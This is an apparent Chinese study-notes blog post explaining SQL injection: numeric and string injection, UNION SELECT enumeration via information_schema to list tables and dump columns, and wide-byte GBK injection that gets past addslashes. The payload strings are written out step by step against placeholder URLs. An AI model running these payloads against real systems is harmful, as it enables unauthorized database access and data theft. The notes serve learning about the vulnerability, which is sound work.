SQL注入学习笔记

SQL注入学习笔记

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

定义

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

特点

1.广泛性
2.隐蔽性
3.危害大
4.操作方便

原理

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

注入方式

一.数字型注入
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

假设有URL为 HTTP://www.xxser.com/test.php?id=8 ,可以猜测SQL语句为:
select * from table where id=8

构造的注入语句为:HTTP://www.xxser.com/test.php?id=8 and 1=1# (有时#需替换为%23),SQL语句为:
select * from table where id=8 and 1=1#

构造的注入语句为:HTTP://www.xxser.com/test.php?id=8 and 1=2#,SQL语句为:
select * from table where id=8 and 1=2#

虽然能够成功执行,但是无法查询到任何数据(因为 and 1=2为假),说明页面存在数字型注入。
?id=8 order by n#
select * from table where id=8 order by n#

从1到n依次替换数字,当页面报错 Unknown column ‘n’ in 'order clause’时,说明查询字段数为n。
?id=0 union select 1,2, … , n #
select 1,2,…,n from table where id=0 union select 1,2, … , n #
union select 的前后两个查询语句字段数必须一致。通过联合查询确定回显信息的字段位置。
?id=0 union select version(),database(), … , n #
select 1,2,…,n from table where id=0 union select version(),database(), … , n #

接下来就可以将后面的内容替换成我们真正需要查询的信息了,比如数据库版本和当前数据库名。
?id=0 union select group_concat(tables),2, … , n from information_schema.tables where table_schema=database()#
通过information_schema库内的tables表查询当前数据库的所有表信息。
group_concat()函数能够能将字段的值打印成一行,以逗号分隔。

?id=0 union select group_concat(columns),2, … , n from information_schema.columns where table_schema=database() and table_name=‘xxxx’#
通过information_schema库内的columns表查询xxxx表的所有列信息。

?id=0 union select group_concat(col1),group_concat(col2) from xxxx#
直接联合查询xxxx表内col1,col2两列所有信息。

二.字符型注入
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
数字型例句如下:select * from table where id = 1 or 1=1-- ;

字符型例句如下:select * from table where id =1 or 1=1-- ';

字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。

宽字节注入

绕过对于用户输入单引号等特殊符号的转义处理,使转义符号与输入的字符结合形成一个新的字符,从而使单引号逃脱转义处理,进行注入。
要绕过这个转义处理,使单引号发挥作用,有两个思路:

1.让斜杠(\)失去作用:对斜杠(\)转义,使其失去转义单引号的作用,成为‘内容’
2.让斜杠(\)消失:宽字节注入

当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠(\)组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用

正常语句:select * from users where username=‘zhangsan’;
普通的字符型注入输入:zhangsan’ or 1=1#
经过addslashes转义:select * from users where username=‘zhangsan’ or 1=1#’;
宽字节注入输入:zhangsan%df’ or 1=1# (0xdf = 223)
经过addslashes转义:select * from users where username=‘zhangsan%df’ or 1=1#’;
经过浏览器url编码:select * from users where username=‘zhangsan%df%5c%27or%201=1%23’;
%df%5c会被gbk编码的php解析成一个汉字“運”,原本的语句就成了:
select * from users where username=‘zhangsan運’ or 1=1#’;

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值